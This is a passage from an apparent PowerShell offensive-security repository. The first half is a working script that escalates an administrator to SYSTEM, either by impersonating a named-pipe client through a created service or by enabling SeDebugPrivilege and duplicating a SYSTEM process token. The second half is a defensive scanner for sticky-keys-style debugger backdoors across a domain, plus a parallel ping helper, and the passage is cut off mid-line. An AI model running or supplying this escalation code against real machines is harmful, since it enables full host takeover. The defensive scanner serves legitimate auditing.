| Write-Verbose "Closing the manager handle" 310 | $Null = $CloseServiceHandle.Invoke($ManagerHandle) 311 | } 312 | else { 313 | # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx 314 | Write-Warning "[!] OpenSCManager failed, LastError: $err" 315 | } 316 | 317 | if($Success) { 318 | Write-Verbose "Waiting for pipe connection" 319 | $Pipe.WaitForConnection() 320 | 321 | $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() 322 | 323 | $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) 324 | Write-Verbose "ImpersonateNamedPipeClient: $Out" 325 | } 326 | 327 | # clocse off the named pipe 328 | $Pipe.Dispose() 329 | } 330 | 331 | # performs token duplication to elevate to SYSTEM 332 | # needs SeDebugPrivilege 333 | # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot 334 | Function Local:Get-SystemToken { 335 | [CmdletBinding()] param() 336 | 337 | $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') 338 | $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 339 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) 340 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 341 | 342 | $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) 343 | $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null 344 | $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null 345 | $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null 346 | $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() 347 | 348 | $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) 349 | $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null 350 | $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null 351 | $LuidStruct = $LuidTypeBuilder.CreateType() 352 | 353 | $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) 354 | $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null 355 | $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null 356 | $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() 357 | 358 | $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] 359 | $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray 360 | $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 361 | 362 | $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) 363 | $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null 364 | $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') 365 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) 366 | $PrivilegesField.SetCustomAttribute($AttribBuilder) 367 | $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() 368 | 369 | $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( 370 | ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), 371 | 'advapi32.dll', 372 | @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), 373 | @([Bool] $True) 374 | ) 375 | 376 | $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( 377 | ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), 378 | 'kernel32.dll', 379 | @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), 380 | @([Bool] $True) 381 | ) 382 | 383 | $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) 384 | $Win32TypeBuilder.DefinePInvokeMethod( 385 | 'OpenProcess', 386 | 'kernel32.dll', 387 | [Reflection.MethodAttributes] 'Public, Static', 388 | [Reflection.CallingConventions]::Standard, 389 | [IntPtr], 390 | @([UInt32], [Bool], [UInt32]), 391 | [Runtime.InteropServices.CallingConvention]::Winapi, 392 | 'Auto').SetCustomAttribute($AttribBuilder2) 393 | 394 | $Win32TypeBuilder.DefinePInvokeMethod( 395 | 'CloseHandle', 396 | 'kernel32.dll', 397 | [Reflection.MethodAttributes] 'Public, Static', 398 | [Reflection.CallingConventions]::Standard, 399 | [Bool], 400 | @([IntPtr]), 401 | [Runtime.InteropServices.CallingConvention]::Winapi, 402 | 'Auto').SetCustomAttribute($AttribBuilder2) 403 | 404 | $Win32TypeBuilder.DefinePInvokeMethod( 405 | 'DuplicateToken', 406 | 'advapi32.dll', 407 | [Reflection.MethodAttributes] 'Public, Static', 408 | [Reflection.CallingConventions]::Standard, 409 | [Bool], 410 | @([IntPtr], [Int32], [IntPtr].MakeByRefType()), 411 | [Runtime.InteropServices.CallingConvention]::Winapi, 412 | 'Auto').SetCustomAttribute($AttribBuilder) 413 | 414 | $Win32TypeBuilder.DefinePInvokeMethod( 415 | 'SetThreadToken', 416 | 'advapi32.dll', 417 | [Reflection.MethodAttributes] 'Public, Static', 418 | [Reflection.CallingConventions]::Standard, 419 | [Bool], 420 | @([IntPtr], [IntPtr]), 421 | [Runtime.InteropServices.CallingConvention]::Winapi, 422 | 'Auto').SetCustomAttribute($AttribBuilder) 423 | 424 | $Win32TypeBuilder.DefinePInvokeMethod( 425 | 'OpenProcessToken', 426 | 'advapi32.dll', 427 | [Reflection.MethodAttributes] 'Public, Static', 428 | [Reflection.CallingConventions]::Standard, 429 | [Bool], 430 | @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), 431 | [Runtime.InteropServices.CallingConvention]::Winapi, 432 | 'Auto').SetCustomAttribute($AttribBuilder) 433 | 434 | $Win32TypeBuilder.DefinePInvokeMethod( 435 | 'LookupPrivilegeValue', 436 | 'advapi32.dll', 437 | [Reflection.MethodAttributes] 'Public, Static', 438 | [Reflection.CallingConventions]::Standard, 439 | [Bool], 440 | @([String], [String], [IntPtr].MakeByRefType()), 441 | [Runtime.InteropServices.CallingConvention]::Winapi, 442 | 'Auto').SetCustomAttribute($AttribBuilder) 443 | 444 | $Win32TypeBuilder.DefinePInvokeMethod( 445 | 'AdjustTokenPrivileges', 446 | 'advapi32.dll', 447 | [Reflection.MethodAttributes] 'Public, Static', 448 | [Reflection.CallingConventions]::Standard, 449 | [Bool], 450 | @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), 451 | [Runtime.InteropServices.CallingConvention]::Winapi, 452 | 'Auto').SetCustomAttribute($AttribBuilder) 453 | 454 | $Win32Methods = $Win32TypeBuilder.CreateType() 455 | 456 | $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} 457 | $GetCurrentProcess = $Win32Native.GetMethod( 458 | 'GetCurrentProcess', 459 | [Reflection.BindingFlags] 'NonPublic, Static' 460 | ) 461 | 462 | $SE_PRIVILEGE_ENABLED = 0x00000002 463 | $STANDARD_RIGHTS_REQUIRED = 0x000F0000 464 | $STANDARD_RIGHTS_READ = 0x00020000 465 | $TOKEN_ASSIGN_PRIMARY = 0x00000001 466 | $TOKEN_DUPLICATE = 0x00000002 467 | $TOKEN_IMPERSONATE = 0x00000004 468 | $TOKEN_QUERY = 0x00000008 469 | $TOKEN_QUERY_SOURCE = 0x00000010 470 | $TOKEN_ADJUST_PRIVILEGES = 0x00000020 471 | $TOKEN_ADJUST_GROUPS = 0x00000040 472 | $TOKEN_ADJUST_DEFAULT = 0x00000080 473 | $TOKEN_ADJUST_SESSIONID = 0x00000100 474 | $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY 475 | $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor 476 | $TOKEN_ASSIGN_PRIMARY -bor 477 | $TOKEN_DUPLICATE -bor 478 | $TOKEN_IMPERSONATE -bor 479 | $TOKEN_QUERY -bor 480 | $TOKEN_QUERY_SOURCE -bor 481 | $TOKEN_ADJUST_PRIVILEGES -bor 482 | $TOKEN_ADJUST_GROUPS -bor 483 | $TOKEN_ADJUST_DEFAULT -bor 484 | $TOKEN_ADJUST_SESSIONID 485 | 486 | [long]$Luid = 0 487 | 488 | $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) 489 | $tokPriv1Luid.Count = 1 490 | $tokPriv1Luid.Luid = $Luid 491 | $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED 492 | 493 | $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) 494 | 495 | $htoken = [IntPtr]::Zero 496 | $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) 497 | 498 | $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) 499 | $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) 500 | 501 | if(-not($RetVal)) { 502 | Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop 503 | } 504 | 505 | $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value 506 | 507 | $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { 508 | try { 509 | $OwnerInfo = $_.GetOwner() 510 | if ($OwnerInfo.Domain -and $OwnerInfo.User) { 511 | $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() 512 | 513 | if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { 514 | $Process = Get-Process -Id $_.ProcessId 515 | 516 | $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) 517 | if ($Handle) { 518 | $Handle 519 | } 520 | } 521 | } 522 | } 523 | catch {} 524 | } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 525 | 526 | if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { 527 | Write-Error 'Unable to obtain a handle to a system process.' 528 | } 529 | else { 530 | [IntPtr]$SystemToken = [IntPtr]::Zero 531 | $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() 532 | 533 | Write-Verbose "OpenProcessToken result: $RetVal" 534 | Write-Verbose "OpenProcessToken result: $LastError" 535 | 536 | [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero 537 | $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() 538 | 539 | Write-Verbose "DuplicateToken result: $LastError" 540 | 541 | $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() 542 | if(-not($RetVal)) { 543 | Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop 544 | } 545 | 546 | Write-Verbose "SetThreadToken result: $LastError" 547 | $null = $Win32Methods::CloseHandle($Handle) 548 | } 549 | } 550 | 551 | if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { 552 | Write-Error "Script must be run as administrator" -ErrorAction Stop 553 | } 554 | 555 | if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { 556 | Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop 557 | } 558 | 559 | if($PSBoundParameters['WhoAmI']) { 560 | Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" 561 | return 562 | } 563 | 564 | elseif($PSBoundParameters['RevToSelf']) { 565 | $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf 566 | $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) 567 | $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) 568 | 569 | $RetVal = $RevertToSelf.Invoke() 570 | if($RetVal) { 571 | Write-Output "RevertToSelf successful." 572 | } 573 | else { 574 | Write-Warning "RevertToSelf failed." 575 | } 576 | Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" 577 | } 578 | 579 | else { 580 | if($Technique -eq 'NamedPipe') { 581 | # if we're using named pipe impersonation with a service 582 | Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName 583 | } 584 | else { 585 | # otherwise use token duplication 586 | Get-SystemToken 587 | } 588 | Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" 589 | } 590 | } 591 | -------------------------------------------------------------------------------- /Invoke-FindDebuggerBackdoors.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-FindDebuggerBackdoors { 2 | <# 3 | .SYNOPSIS 4 | Checks a remote server to see if the debugger for specific 5 | binaries has been set through querying the remote registry. 6 | 7 | License: BSD 3-Clause 8 | Author: @harmj0y 9 | 10 | .DESCRIPTION 11 | This function uses either ping (test-connection) or RPC 12 | (through WMI) to test connectivity to a remote server. 13 | 14 | .PARAMETER HostName 15 | The hostname/IP to test for debuggers 16 | 17 | .EXAMPLE 18 | Invoke-FindDebuggerBackdoors WINDOWS3 | ft -autosize 19 | #> 20 | [CmdletBinding()] 21 | param( 22 | [Parameter(ValueFromPipeline=$True)] 23 | $HostName = "." 24 | ) 25 | 26 | process { 27 | $binaries = @("sethc.exe", "Utilman.exe", "osk.exe", "Narrator.exe", "Magnify.exe") 28 | 29 | try{ 30 | $binaries | Foreach-Object { 31 | $reg = [WMIClass]"\\$HostName\root\default:stdRegProv" 32 | $hklm = 2147483650 33 | $key = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$($_)" 34 | $value = "Debugger" 35 | 36 | $result = $reg.GetStringValue($hklm, $key, $value).sValue 37 | 38 | if($result){ 39 | if($HostName -eq "."){ 40 | $HostName = [System.Net.Dns]::GetHostByName(($env:computerName)) | FL HostName | Out-String | %{ "{0}" -f $_.Split(':')[1].Trim() } 41 | } 42 | $out = new-object psobject 43 | $out | add-member Noteproperty 'Host' $HostName 44 | $out | add-member Noteproperty 'Process' $_ 45 | $out | add-member Noteproperty 'Debugger' $result 46 | $out 47 | } 48 | } 49 | } 50 | catch{ 51 | Write-Warning "[!] Error opening remote registry on $HostName. Remote registry likely not enabled." 52 | $null 53 | } 54 | } 55 | end{} 56 | 57 | } 58 | 59 | function Invoke-FindDomainDebuggerBackdoors { 60 | <# 61 | .SYNOPSIS 62 | Queries all machines on the domain, and checks each one to 63 | see if the debugger for specific binaries has been set 64 | through querying the remote registry. 65 | 66 | .EXAMPLE 67 | Invoke-FindDomainDebuggerBackdoors | ft -autosize 68 | #> 69 | $CompSearcher = New-Object System.DirectoryServices.DirectorySearcher 70 | $CompSearcher.Filter = ("(objectCategory=computer)") 71 | $CompSearcher.PageSize = 200 72 | 73 | $Computers = $CompSearcher.FindAll() | ForEach-Object { $_.properties.dnshostname } 74 | $Computers | Invoke-Ping | ForEach-Object { 75 | Invoke-FindDebuggerBackdoors $HostName 76 | } 77 | } 78 | 79 | # adapted from RamblingCookieMonster's code at 80 | # https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 81 | function Invoke-Ping { 82 | <# 83 | .SYNOPSIS 84 | Ping systems in parallel 85 | Author: RamblingCookieMonster 86 | 87 | .PARAMETER ComputerName 88 | One or more computers to test 89 | 90 | .PARAMETER Timeout 91 | Time in seconds before we attempt to dispose an individual query. Default is 20 92 | 93 | .PARAMETER Throttle 94 | Throttle query to this many parallel runspaces. Default is 100. 95 | 96 | .PARAMETER NoCloseOnTimeout 97 | Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out 98 | 99 | This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. 100 | 101 | .EXAMPLE 102 | $Responding = $Computers | Invoke-Ping 103 | 104 | # Create a list of computers that successfully responded to Test-Connection 105 | 106 | .LINK 107 | https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 108 | https://gallery.technet.microsoft.com/scriptcenter/Invoke-Ping-Test-in-b553242a 109 | #> 110 | 111 | [cmdletbinding(DefaultParameterSetName='Ping')] 112 | param( 113 | [Parameter( ValueFromPipeline=$true, 114 | ValueFromPipelineByPropertyName=$true, 115 | Position=0)] 116 | [string[]]$ComputerName, 117 | 118 | [int]$Timeout = 20, 119 | 120 | [int]$Throttle = 100, 121 | 122 | [switch]$NoCloseOnTimeout 123 | ) 124 | 125 | Begin 126 | { 127 | $Quiet = $True 128 | 129 | #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 130 | function Invoke-Parallel { 131 | [cmdletbinding(DefaultParameterSetName='ScriptBlock')] 132 | Param ( 133 | [Parameter(Mandatory=$false,position=0,ParameterSetName='ScriptBlock')] 134 | [System.Management.Automation.ScriptBlock]$ScriptBlock, 135 | 136 | [Parameter(Mandatory=$false,ParameterSetName='ScriptFile')] 137 | [ValidateScript({test-path $_ -pathtype leaf})] 138 | $ScriptFile, 139 | 140 | [Parameter(Mandatory=$true,ValueFromPipeline=$true)] 141 | [Alias('CN','__Server','IPAddress','Server','ComputerName')] 142 | [PSObject]$InputObject, 143 | 144 | [PSObject]$Parameter, 145 | 146 | [switch]$ImportVariables, 147 | 148 | [switch]$ImportModules, 149 | 150 | [int]$Throttle = 20, 151 | 152 | [int]$SleepTimer = 200, 153 | 154 | [int]$RunspaceTimeout = 0, 155 | 156 | [switch]$NoCloseOnTimeout = $false, 157 | 158 | [int]$MaxQueue, 159 | 160 | [validatescript({Test-Path (Split-Path $_ -parent)})] 161 | [string]$LogFile = "C:\temp\log.log", 162 | 163 | [switch] $Quiet = $false 164 | ) 165 | 166 | Begin { 167 | 168 | #No max queue specified? Estimate one. 169 | #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function 170 | if( -not $PSBoundParameters.ContainsKey('MaxQueue') ) 171 | { 172 | if($RunspaceTimeout -ne 0){ $script:MaxQueue = $Throttle } 173 | else{ $script:MaxQueue = $Throttle * 3 } 174 | } 175 | else 176 | { 177 | $script:MaxQueue = $MaxQueue 178 | } 179 | 180 | Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue' logFile '$logFile'" 181 | 182 | #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items 183 | if ($ImportVariables -or $ImportModules) 184 | { 185 | $StandardUserEnv = [powershell]::Create().addscript({ 186 | 187 | #Get modules and snapins in this clean runspace 188 | $Modules = Get-Module | Select -ExpandProperty Name 189 | $Snapins = Get-PSSnapin | Select -ExpandProperty Name 190 | 191 | #Get variables in this clean runspace 192 | #Called last to get vars like $? into session 193 | $Variables = Get-Variable | Select -ExpandProperty Name 194 | 195 | #Return a hashtable where we can access each. 196 | @{ 197 | Variables = $Variables 198 | Modules = $Modules 199 | Snapins = $Snapins 200 | } 201 | }).invoke()[0] 202 | 203 | if ($ImportVariables) { 204 | #Exclude common parameters, bound parameters, and automatic variables 205 | Function _temp {[cmdletbinding()] param() } 206 | $VariablesToExclude = @( (Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables ) 207 | Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")" 208 | 209 | # we don't use 'Get-Variable -Exclude', because it uses regexps. 210 | # One of the veriables that we pass is '$?'. 211 | # There could be other variables with such problems. 212 | # Scope 2 required if we move to a real module 213 | $UserVariables = @( Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) } ) 214 | Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n" 215 | 216 | } 217 | 218 | if ($ImportModules) 219 | { 220 | $UserModules = @( Get-Module | Where {$StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue)} | Select -ExpandProperty Path ) 221 | $UserSnapins = @( Get-PSSnapin | Select -ExpandProperty Name | Where {$StandardUserEnv.Snapins -notcontains $_ } ) 222 | } 223 | } 224 | 225 | #region functions 226 | 227 | Function Get-RunspaceData { 228 | [cmdletbinding()] 229 | param( [switch]$Wait ) 230 | 231 | #loop through runspaces 232 | #if $wait is specified, keep looping until all complete 233 | Do { 234 | 235 | #set more to false for tracking completion 236 | $more = $false 237 | 238 | #run through each runspace. 239 | Foreach($runspace in $runspaces) { 240 | 241 | #get the duration - inaccurate 242 | $currentdate = Get-Date 243 | $runtime = $currentdate - $runspace.startTime 244 | $runMin = [math]::Round( $runtime.totalminutes ,2 ) 245 | 246 | #set up log object 247 | $log = "" | select Date, Action, Runtime, Status, Details 248 | $log.Action = "Removing:'$($runspace.object)'" 249 | $log.Date = $currentdate 250 | $log.Runtime = "$runMin minutes" 251 | 252 | #If runspace completed, end invoke, dispose, recycle, counter++ 253 | If ($runspace.Runspace.isCompleted) { 254 | 255 | $script:completedCount++ 256 | 257 | #check if there were errors 258 | if($runspace.powershell.Streams.Error.Count -gt 0) { 259 | 260 | #set the logging info and move the file to completed 261 | $log.status = "CompletedWithErrors" 262 | Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] 263 | foreach($ErrorRecord in $runspace.powershell.Streams.Error) { 264 | Write-Error -ErrorRecord $ErrorRecord 265 | } 266 | } 267 | else { 268 | 269 | #add logging details and cleanup 270 | $log.status = "Completed" 271 | Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] 272 | } 273 | 274 | #everything is logged, clean up the runspace 275 | $runspace.powershell.EndInvoke($runspace.Runspace) 276 | $runspace.powershell.dispose() 277 | $runspace.Runspace = $null 278 | $runspace.powershell = $null 279 | 280 | } 281 | 282 | #If runtime exceeds max, dispose the runspace 283 | ElseIf ( $runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) { 284 | 285 | $script:completedCount++ 286 | $timedOutTasks = $true 287 | 288 | #add logging details and cleanup 289 | $log.status = "TimedOut" 290 | Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] 291 | Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" 292 | 293 | #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance 294 | if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } 295 | $runspace.Runspace = $null 296 | $runspace.powershell = $null 297 | $completedCount++ 298 | 299 | } 300 | 301 | #If runspace isn't null set more to true 302 | ElseIf ($runspace.Runspace -ne $null ) { 303 | $log = $null 304 | $more = $true 305 | } 306 | 307 | #log the results if a log file was indicated 308 | if($logFile -and $log){ 309 | ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] | out-file $LogFile -append 310 | } 311 | } 312 | 313 | #Clean out unused runspace jobs 314 | $temphash = $runspaces.clone() 315 | $temphash | Where { $_.runspace -eq $Null } | ForEach { 316 | $Runspaces.remove($_) 317 | } 318 | 319 | #sleep for a bit if we will loop again 320 | if($PSBoundParameters['Wait']){ Start-Sleep -milliseconds $SleepTimer } 321 | 322 | #Loop again only if -wait parameter and there are more runspaces to process 323 | } while ($more -and $PSBoundParameters['Wait']) 324 | 325 | #End of runspace function 326 | } 327 | 328 | #endregion functions 329 | 330 | #region Init 331 | 332 | if($PSCmdlet.ParameterSetName -eq 'ScriptFile') 333 | { 334 | $ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | out-string) ) 335 | } 336 | elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock') 337 | { 338 | #Start building parameter names for the param block 339 | [string[]]$ParamsToAdd = '$_' 340 | if( $PSBoundParameters.ContainsKey('Parameter') ) 341 | { 342 | $ParamsToAdd += '$Parameter' 343 | } 344 | 345 | $UsingVariableData = $Null 346 | 347 | # This code enables $Using support through the AST. 348 | # This is entirely from Boe Prox, and his https://github.com/proxb/PoshRSJob module; all credit to Boe! 349 | 350 | if($PSVersionTable.PSVersion.Major -gt 2) 351 | { 352 | #Extract using references 353 | $UsingVariables = $ScriptBlock.ast.FindAll({$args[0] -is [System.Management.Automation.Language.UsingExpressionAst]},$True) 354 | 355 | If ($UsingVariables) 356 | { 357 | $List = New-Object 'System.Collections.Generic.List`1[System.Management.Automation.Language.VariableExpressionAst]' 358 | ForEach ($Ast in $UsingVariables) 359 | { 360 | [void]$list.Add($Ast.SubExpression) 361 | } 362 | 363 | $UsingVar = $UsingVariables | Group Parent | ForEach {$_.Group | Select -First 1} 364 | 365 | #Extract the name, value, and create replacements for each 366 | $UsingVariableData = ForEach ($Var in $UsingVar) { 367 | Try 368 | { 369 | $Value = Get-Variable -Name $Var.SubExpression.VariablePath.UserPath -ErrorAction Stop 370 | $NewName = ('$__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) 371 | [pscustomobject]@{ 372 | Name = $Var.SubExpression.Extent.Text 373 | Value = $Value.Value 374 | NewName = $NewName 375 | NewVarName = ('__using_{0}' -f $Var.SubExpression.VariablePath.UserPath) 376 | } 377 | $ParamsToAdd += $NewName 378 | } 379 | Catch 380 | { 381 | Write-Error "$($Var.SubExpression.Extent.Text) is not a valid Using: variable!" 382 | } 383 | } 384 | 385 | $NewParams = $UsingVariableData.NewName -join ', ' 386 | $Tuple = [Tuple]::Create($list, $NewParams) 387 | $bindingFlags = [Reflection.BindingFlags]"Default,NonPublic,Instance" 388 | $GetWithInputHandlingForInvokeCommandImpl = ($ScriptBlock.ast.gettype().GetMethod('GetWithInputHandlingForInvokeCommandImpl',$bindingFlags)) 389 | 390 | $StringScriptBlock = $GetWithInputHandlingForInvokeCommandImpl.Invoke($ScriptBlock.ast,@($Tuple)) 391 | 392 | $ScriptBlock = [scriptblock]::Create($StringScriptBlock) 393 | 394 | Write-Verbose $StringScriptBlock 395 | } 396 | } 397 | 398 | $ScriptBlock = $ExecutionContext.InvokeCommand.NewScriptBlock("param($($ParamsToAdd -Join ", "))`r`n" + $Scriptblock.ToString()) 399 | } 400 | else 401 | { 402 | Throw "Must provide ScriptBlock or ScriptFile"; Break 403 | } 404 | 405 | Write-Debug "`$ScriptBlock: $($ScriptBlock | Out-String)" 406 | Write-Verbose "Creating runspace pool and session states" 407 | 408 | #If specified, add variables and modules/snapins to session state 409 | $sessionstate = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() 410 | if ($ImportVariables) 411 | { 412 | if($UserVariables.count -gt 0) 413 | { 414 | foreach($Variable in $UserVariables) 415 | { 416 | $sessionstate.Variables.Add( (New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Variable.Name, $Variable.Value, $null) ) 417 | } 418 | } 419 | } 420 | if ($ImportModules) 421 | { 422 | if($UserModules.count -gt 0) 423 | { 424 | foreach($ModulePath in $UserModules) 425 | { 426 | $sessionstate.ImportPSModule($ModulePath) 427 | } 428 | } 429 | if($UserSnapins.count -gt 0) 430 | { 431 | foreach($PSSnapin in $UserSnapins) 432 | { 433 | [void]$sessionstate.ImportPSSnapIn($PSSnapin, [ref]$null) 434 | } 435 | } 436 | } 437 | 438 | #Create runspace pool 439 | $runspacepool = [runspacefactory]::CreateRunspacePool(1, $Throttle, $sessionstate, $Host) 440 | $runspacepool.Open() 441 | 442 | Write-Verbose "Creating empty collection to hold runspace jobs" 443 | $Script:runspaces = New-Object System.Collections.ArrayList 444 | 445 | #If inputObject is bound get a total count and set bound to true 446 | $global:__bound = $false 447 | $allObjects = @() 448 | if( $PSBoundParameters.ContainsKey("inputObject") ){ 449 | $global:__bound = $true 450 | } 451 | 452 | #Set up log file if specified 453 | if( $LogFile ){ 454 | New-Item -ItemType file -path $logFile -force | Out-Null 455 | ("" | Select Date, Action, Runtime, Status, Details | ConvertTo-Csv -NoTypeInformation -Delimiter ";")[0] | Out-File $LogFile 456 | } 457 | 458 | #write initial log entry 459 | $log = "" | Select Date, Action, Runtime, Status, Details 460 | $log.Date = Get-Date 461 | $log.Action = "Batch processing started" 462 | $log.Runtime = $null 463 | $log.Status = "Started" 464 | $log.Details = $null 465 | if($logFile) { 466 | ($log | convertto-csv -Delimiter ";" -NoTypeInformation)[1] | Out-File $LogFile -Append 467 | } 468 | 469 | $timedOutTasks = $false 470 | 471 | #endregion INIT 472 | } 473 | 474 | Process { 475 | #add piped objects to all objects or set all objects to bound input object parameter 476 | if( -not $global:__bound ){ 477 | $allObjects += $inputObject 478 | } 479 | else{ 480 | $allObjects = $InputObject 481 | } 482 | } 483 | 484 | End { 485 | 486 | #Use Try/Finally to catch Ctrl+C and clean up. 487 | Try 488 | { 489 | #counts for progress 490 | $totalCount = 